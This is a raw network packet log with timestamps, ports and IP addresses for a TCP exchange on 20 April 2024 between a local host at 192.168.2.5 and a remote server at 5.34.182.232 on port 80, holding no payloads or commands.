Apr 20, 2024 10:23:48.152946949 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.152957916 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.152968884 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.152976990 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.152978897 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.152990103 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.152998924 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153002977 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153008938 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153019905 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153029919 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153039932 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153043985 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153048992 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153055906 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153059006 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153069973 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153081894 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153091908 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153098106 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153100967 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153142929 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153152943 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153162956 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153172970 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153182983 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153192997 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153197050 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153202057 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153212070 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153222084 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153223991 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153233051 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153242111 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153251886 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153263092 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153269053 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153271914 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153283119 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153287888 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153295040 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153305054 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153315067 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153325081 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153326035 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153335094 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153345108 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153352976 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153354883 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153366089 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153376102 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153386116 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153388977 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153395891 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153440952 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153440952 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153450012 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153460026 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153470039 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153480053 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153490067 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153496027 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153502941 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153513908 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153523922 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153527021 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153534889 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153544903 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153554916 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153556108 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153564930 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153575897 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153583050 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153585911 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153597116 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153608084 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153618097 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153620958 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153628111 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153637886 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153642893 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153647900 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153657913 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153667927 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153671026 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153677940 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153688908 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153700113 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153702974 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153709888 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153738976 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153753042 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153762102 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153763056 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153775930 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153788090 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153798103 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153800964 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153808117 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153817892 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153829098 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153839111 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153840065 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153850079 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153860092 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153868914 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153878927 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153881073 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153889894 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153901100 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153902054 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153912067 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153920889 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153923988 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153930902 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153940916 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153950930 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153960943 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153963089 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153970957 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153980970 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.153985023 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.153990984 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154000998 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154011011 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154011965 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154052019 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154066086 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154074907 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154084921 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154095888 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154105902 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154115915 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154119015 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154125929 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154135942 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154145002 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154145956 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154156923 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154166937 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154176950 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154187918 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154192924 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154197931 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154207945 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154218912 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154220104 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154228926 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154238939 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154244900 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154247999 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154258013 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154268980 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154278994 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154280901 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154289007 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154298067 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154301882 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154308081 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154319048 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154328108 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154337883 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154337883 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154365063 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154372931 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154382944 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154392958 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154393911 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154403925 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154413939 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154423952 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154433012 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154433966 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154443026 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154453993 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154464006 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154474020 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154485941 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154495955 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154498100 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154505968 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154505968 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154516935 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154526949 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154535055 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154537916 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154547930 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154557943 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154565096 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154567957 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154578924 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154588938 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154592037 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154597998 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154608965 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154618979 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154622078 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154628992 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154656887 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154670000 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154670000 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154680014 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154690981 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154701948 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154711962 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154716015 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154721975 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154731989 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154742956 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154752970 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154757977 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154762983 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154772997 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154783010 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154800892 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154802084 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154812098 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154822111 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154824972 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154831886 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154841900 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154850960 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154860973 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154861927 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154870987 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154881001 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154884100 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154891014 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154901981 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154937029 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154947042 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154954910 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154958963 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154968977 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154979944 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.154983044 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154983044 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.154989958 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155000925 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.155002117 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155011892 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155021906 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155031919 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155036926 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.155041933 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155054092 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155061960 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.155066013 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155076981 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155086994 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155097008 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.155097008 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155107975 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155118942 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155128956 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155137062 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.155143023 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155153036 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.155189037 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.155314922 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155325890 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155335903 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155347109 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155356884 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155358076 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.155366898 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155373096 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155383110 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155385971 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.155392885 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155402899 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155414104 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155422926 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155428886 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.155432940 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155441046 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.155443907 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155455112 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155463934 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155474901 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155484915 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155487061 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.155494928 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155504942 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155515909 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155517101 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.155525923 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155536890 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155548096 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.155548096 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155559063 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155570030 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155570984 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.155581951 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155592918 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155601978 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.155603886 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155632973 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.155649900 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.155670881 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155682087 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155694962 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155704975 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155715942 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155719042 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.155726910 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155736923 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155741930 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.155746937 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155756950 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155769110 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155778885 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155790091 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155800104 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155812979 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155824900 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155837059 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155838966 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.155848026 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155857086 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155858040 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.155858040 CEST	49718	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:23:48.155863047 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155869007 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155874968 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155879974 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155885935 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155896902 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155906916 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155919075 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155930042 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155941010 CEST	80	49718	5.34.182.232	192.168.2.5
Apr 20, 2024 10:23:48.155942917 CEST	49718	80	192.168.2.5	5.34.182.232
